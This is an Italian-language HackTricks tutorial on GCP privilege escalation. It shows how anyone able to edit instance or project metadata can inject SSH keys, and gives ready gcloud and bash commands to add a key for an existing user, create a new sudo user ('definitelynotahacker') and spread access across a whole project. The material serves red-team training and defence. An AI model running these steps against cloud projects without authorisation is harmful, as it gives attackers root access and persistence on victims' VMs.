GCP - Aggiungi Metadati SSH Personalizzati
Reading time: 6 minutes
GCP - Aggiungi Metadati SSH Personalizzati
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Modifica dei metadati
La modifica dei metadati su un'istanza potrebbe portare a significativi rischi per la sicurezza se un attaccante ottiene i permessi necessari.
Incorporazione di chiavi SSH nei metadati personalizzati
Su GCP, i sistemi Linux spesso eseguono script dall'Ambiente Ospite Linux Python per Google Compute Engine. Un componente critico di questo è il daemon degli account, progettato per controllare regolarmente l'endpoint dei metadati dell'istanza per aggiornamenti alle chiavi pubbliche SSH autorizzate.
Pertanto, se un attaccante può modificare i metadati personalizzati, potrebbe far sì che il daemon trovi una nuova chiave pubblica, che verrà elaborata e integrata nel sistema locale. La chiave verrà aggiunta al file ~/.ssh/authorized_keys
di un utente esistente o potenzialmente creando un nuovo utente con privilegi sudo
, a seconda del formato della chiave. E l'attaccante sarà in grado di compromettere l'host.
Aggiungi chiave SSH a un utente privilegiato esistente
- Esamina le chiavi SSH esistenti sull'istanza:
- Esegui il comando per descrivere l'istanza e i suoi metadati per localizzare le chiavi SSH esistenti. La sezione rilevante nell'output sarà sotto
metadata
, specificamente la chiavessh-keys
.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Fai attenzione al formato delle chiavi SSH: il nome utente precede la chiave, separato da due punti.
- Prepara un file di testo per i metadati della chiave SSH:
- Salva i dettagli dei nomi utente e delle loro corrispondenti chiavi SSH in un file di testo chiamato
meta.txt
. Questo è essenziale per preservare le chiavi esistenti mentre ne aggiungi di nuove.
- Genera una nuova chiave SSH per l'utente target (
alice
in questo esempio):
- Usa il comando
ssh-keygen
per generare una nuova chiave SSH, assicurandoti che il campo commento (-C
) corrisponda al nome utente target.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Aggiungi la nuova chiave pubblica a
meta.txt
, mimando il formato trovato nei metadati dell'istanza.
- Aggiorna i metadati della chiave SSH dell'istanza:
- Applica i metadati aggiornati della chiave SSH all'istanza utilizzando il comando
gcloud compute instances add-metadata
.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Accedi all'istanza utilizzando la nuova chiave SSH:
- Connettiti all'istanza con SSH utilizzando la nuova chiave, accedendo alla shell nel contesto dell'utente target (
alice
in questo esempio).
ssh -i ./key alice@localhost
sudo id
Crea un nuovo utente privilegiato e aggiungi una chiave SSH
Se non viene trovato alcun utente interessante, è possibile crearne uno nuovo a cui verranno dati privilegi sudo
:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
Chiavi SSH a livello di progetto
È possibile ampliare l'accesso SSH a più Macchine Virtuali (VM) in un ambiente cloud applicando le chiavi SSH a livello di progetto. Questo approccio consente l'accesso SSH a qualsiasi istanza all'interno del progetto che non ha esplicitamente bloccato le chiavi SSH a livello di progetto. Ecco una guida riassuntiva:
- Applica le chiavi SSH a livello di progetto:
- Usa il comando
gcloud compute project-info add-metadata
per aggiungere le chiavi SSH dameta.txt
ai metadati del progetto. Questa azione garantisce che le chiavi SSH siano riconosciute in tutte le VM del progetto, a meno che una VM non abbia abilitata l'opzione "Blocca le chiavi SSH a livello di progetto".
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- SSH nelle istanze utilizzando chiavi a livello di progetto:
- Con le chiavi SSH a livello di progetto in atto, puoi SSH in qualsiasi istanza all'interno del progetto. Le istanze che non bloccano le chiavi a livello di progetto accetteranno la chiave SSH, concedendo accesso.
- Un metodo diretto per SSH in un'istanza è utilizzare il comando
gcloud compute ssh [INSTANCE]
. Questo comando utilizza il tuo nome utente attuale e le chiavi SSH impostate a livello di progetto per tentare l'accesso.
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.